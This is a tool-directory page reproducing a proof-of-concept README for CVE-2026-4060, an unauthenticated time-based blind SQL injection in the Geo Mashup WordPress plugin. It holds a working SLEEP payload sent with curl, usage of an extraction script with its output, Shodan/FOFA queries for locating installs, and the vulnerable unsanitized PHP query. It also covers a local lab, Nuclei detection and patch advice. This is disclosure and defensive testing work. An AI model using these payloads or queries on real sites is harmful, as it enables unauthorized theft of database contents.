Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-4060-PoC — Proof-of-concept for CVE-2026-4060: unauthenticated time-based blind SQL injection in Geo Mashup WordPress plugin via ORDER BY clause. Includes exploit script, lab environment, and Nuclei detection template. | Kitploit
Tools/GitHubGitHub/ydking0911/cve-2026-4060-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Proof-of-concept for CVE-2026-4060: unauthenticated time-based blind SQL injection in Geo Mashup WordPress plugin via ORDER BY clause. Includes exploit script, lab environment, and Nuclei detection template.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Unauthenticated SQL Injection PoC

Severity CVSS Type Status

Unauthenticated attackers can inject arbitrary SQL into the ORDER BY clause via the sort parameter of the Geo Mashup render-map endpoint, enabling time-based blind extraction of sensitive database information.


Table of Contents

  • Vulnerability Overview
  • Test Environment
  • How to Run
  • Test Results
  • Mitigation
  • Detection
  • Timeline
  • References

Vulnerability Overview

Technical Detail

The sort parameter accepted by the render-map endpoint is passed directly into a $wpdb->get_results() call without sanitization:

root@kitploit:~
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

Because $sort is interpolated as-is, an attacker can inject a subquery into the ORDER BY clause. WordPress's wpdb escapes single quotes, so the PoC uses ORD(SUBSTRING(...)) with numeric comparisons to bypass this restriction and perform time-based blind extraction.

Vulnerable endpoint:

root@kitploit:~
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

Test Environment

Lab Architecture

root@kitploit:~
┌─────────────────────────────────┐
│  Host (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 active in WordPress admin:

Geo Mashup 1.13.18 active in WordPress admin


How to Run

1. Start the lab

root@kitploit:~
git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh will:

  • Spin up WordPress 6.8.2 + MariaDB 11.4 containers
  • Install and activate Geo Mashup 1.13.18 (vulnerable version) via WP-CLI
  • Create a geo-tagged post so the map endpoint returns a valid response

Once complete:

  • Site: http://localhost:8080
  • Admin: http://localhost:8080/wp-admin (user: admin / pass: admin)

2. Confirm vulnerability (SLEEP injection)

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

A response delay of ~8 seconds confirms ORDER BY SQL injection.

3. Extract data (PoC)

root@kitploit:~
# Default — print extracted results only
python3 poc.py --url http://localhost:8080

# Verbose — show each payload, response time, and extracted character
python3 poc.py --url http://localhost:8080 --verbose

# Confirm SQLi only, skip data extraction
python3 poc.py --url http://localhost:8080 --confirm-only

4. Run Nuclei detection template

root@kitploit:~
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. Tear down the lab

root@kitploit:~
docker compose down -v

Test Results

True Positive (TP) — Vulnerable target

TP-1: ORDER BY SLEEP(8) injection confirmed

Injecting a SLEEP(8) subquery via the sort parameter produces an ~8-second response delay.

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

SLEEP(8) via ORDER BY — 8.05s response

TP-2: Data extraction (verbose mode)

The PoC extracts data character by character using ORD(SUBSTRING(...)) comparisons: send payload → measure response time → confirm character when SLEEP fires.

root@kitploit:~
python3 poc.py --url http://localhost:8080 --verbose

poc.py verbose — payload, timing, extracted chars

Extracted data:

QueryResult
VERSION()11.4.10-MariaDB
DATABASE()wordpress
USER()[email protected]

TP-3: Nuclei template detection

root@kitploit:~
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.

False Positive (FP) — Non-vulnerable target

The Nuclei template uses a two-step flow to prevent false positives.

FP-1: Geo Mashup not installed

If readme.txt returns 404 in Step 1, the scan exits immediately without sending the SQL payload.

root@kitploit:~
Scan completed in 62ms. 0 matches found.   ✅

FP-2: Patched version (≥ 1.13.19)

Plugin version check via readme.txt:

readme.txt showing Stable tag: 1.13.18

If compare_versions(version, '<= 1.13.18') fails, Step 2 is skipped entirely.

root@kitploit:~
Scan completed in 19ms. 0 matches found.   ✅

Mitigation

ActionDetail
UpdateUpgrade Geo Mashup to 1.13.19 or later
TemporaryDeactivate the plugin until an update is applied

Patch commit: plugins.trac.wordpress.org/changeset/3503627


Detection

Nuclei template: nuclei/CVE-2026-4060.yaml

Detection flow:

root@kitploit:~
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → confirm plugin exists + version <= 1.13.18

Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → status 200 + GeoMashup.createMap + duration >= 8s

Shodan / FOFA:

root@kitploit:~
Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

Timeline

DateEvent
2026-04Vulnerability discovered
2026-04Reported to plugin author
2026-05Geo Mashup 1.13.19 patch released
2026-05-14CVE assigned and publicly disclosed

References

  • NVD — CVE-2026-4060
  • Wordfence Advisory
  • Plugin Changeset (fix)
  • CWE-89

Disclaimer

This repository is for educational and authorized security testing purposes only.
Do not use against systems you do not own or have explicit written permission to test.
The author is not responsible for any misuse of this material.

Download Tool
FieldDetail
CVECVE-2026-4060
PluginGeo Mashup by cyberhobo
Affected≤ 1.13.18
Fixed in1.13.19
CVSS v3.17.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWECWE-89 — Improper Neutralization of Special Elements in SQL
Auth requiredNone (Unauthenticated)
ComponentVersion
OSmacOS (Darwin 25.4.0)
Docker27.x
WordPress6.8.2 (PHP 8.2, Apache)
MariaDB11.4
Geo Mashup1.13.18 (vulnerable)
Python3.x (for poc.py)
Nucleiv3.8.0
WAF
Block subquery injection patterns in ORDER BY clauses